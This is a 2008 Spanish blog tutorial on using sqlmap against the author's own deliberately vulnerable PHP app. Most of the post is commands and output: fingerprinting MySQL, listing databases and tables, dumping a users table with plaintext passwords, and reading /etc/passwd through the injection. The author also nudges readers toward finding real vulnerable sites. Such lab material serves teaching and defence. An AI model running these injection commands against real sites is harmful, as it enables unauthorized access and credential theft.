rulando sqlmap

3 de noviembre de 2008

Sqlmap es una tool de sourceforge creada para automatizar la inyección de SQL. Con esta tool podemos sacar usuarios, contraseñas, consultar en tablas, hacer modificaciones en tablas, leer archivos del sistema de archivos, etc.

Naturalmente todo lo que se pueda hacer dependerá del nivel de seguridad y las precauciones que el programador y administrador hayan tenido.

Como el objetivo no es buscar en Internet una Web vulnerable he creado una aplicación PHP que accede a una tabla de productos.
Esta Web no contiene ningún mecanismo de seguridad especial. Veremos como con sqlmap la aplicación está abierta de piernas y que podemos hacer para remediarlo.

Estos son los fuentes y las tablas (cópiatelos e instálatelos en tú Apache):

sqlinjection.zip

Otra cosa que necesitaras es sqlmap. Bájatelo e instálatelo. Existe una versión también para Windows que no necesita el intérprete de Python.

Una vez instalado los PHP y la base de datos, tendremos que suponer que hemos encontrado una URL que aparentemente es vulnerable:
http://[mi_servidor]/detail.php?id=8492019

Aparentemente no: !es vulnerable¡ porque la he programado yo. Si estás ansioso por encontrar webs, toma y busca.

Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versión tiene de MySQL con el parámetro "-b":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 21:58:00

[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

banner:    '5.0.51b-community'


[*] shutting down at: 21:58:07

Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que está trabajando esta aplicación. Utilizamos el parámetro "--current-db":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --current-db

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:09:07

[22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

current database:    'midb'


[*] shutting down at: 22:09:09

La base de datos se llama midb. Veamos ahora las tablas de esta base de datos. Utilizamos los parámetros "--tables -D midb".
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --tables -D midb

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:11:01

[22:11:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

Database: midb
[2 tables]
+----------+
| products |
| users    |
+----------+


[*] shutting down at: 22:11:05

Bingo!. Vemos que tiene una tabla llamada "users", donde posiblemente están lo usuarios que se logean desde la pagina principal llamada "login.php".

Veamos la estructura de esta tabla. Utilizamos los parámetros "--columns -T users -D midb":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --columns -T users -D midb

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:13:34

[22:13:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

Database: midb
Table: users
[3 columns]
+----------+------------------+
| Column   | Type             |
+----------+------------------+
| id       | int(10) unsigned |
| password | varchar(45)      |
| username | varchar(45)      |
+----------+------------------+


[*] shutting down at: 22:13:43

Veamos el contenido de esta tabla. Utilizamos los parámetros "--dump -T users -D midb":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dump -T users -D midb

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:16:17

[22:16:19] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

Database: midb
Table: users
[3 entries]
+----+---------------+----------+
| id | password      | username |
+----+---------------+----------+
| 1  | admin123456   | admin    |
| 2  | alberto123456 | alberto  |
| 3  | juan123456    | juan     |
+----+---------------+----------+


[*] shutting down at: 22:16:27

Ahora la pregunta es saber si tenemos acceso a otras bases de datos. La respuesta es depende. Depende del nivel de seguridad que tenga la aplicación. Naturalmente esta aplicación es mía y no tiene ningún nivel de seguridad.

Veamos que otras bases de datos hay. Utilizamos "--dbs":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dbs

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:31:25

[22:31:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

available databases [6]:
[*] information_schema
[*] midb
[*] mysql
[*] phpmyadmin
[*] test
[*] webauth


[*] shutting down at: 22:31:32

Veamos ahora que usuarios hay en MySQL. Utilizamos "--users":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --users

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:32:43

[22:32:45] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

database management system users [3]:
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'


[*] shutting down at: 22:32:51

Solo existe un usuario root. Aqui está uno de los problemas. Estamos utilizando el usuario root que trae por defecto MySQL para acceder por PHP. Si estamos utilizando el usuario root para nuestras sentencias de SQL eso quiere decir que podemos hacer llamadas al sistema:
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --read-file /etc/passwd

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:59:10

[22:59:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

/etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false


[*] shutting down at: 22:59:12

Para terminar tenemos un dump de todo el MySql. Utilizamos "--eta --dump-all -v 1". Esto puede tardar bastante y no volcaré el resultado.

En próximos post intentaremos solucionar estos problemas.

Más información:
+ Manual sqlmap
+ tarde aburrida
+ About SQL Injection Cheat Sheet
+ Inyeccion en la vida real (y otras cosas)

1 comentarios:

Anónimo dijo...

Hola, como estas, tu pagina esta excelente, si queres pasate por mi pagina y dejame un comentario, estan entrando mucho en mi sitio, si te interesa podemos hacer un intercambio de links, banners, cualquier cosa avisame, te dejo mi email tvinternet08@gmail.com, te mando un abrazo.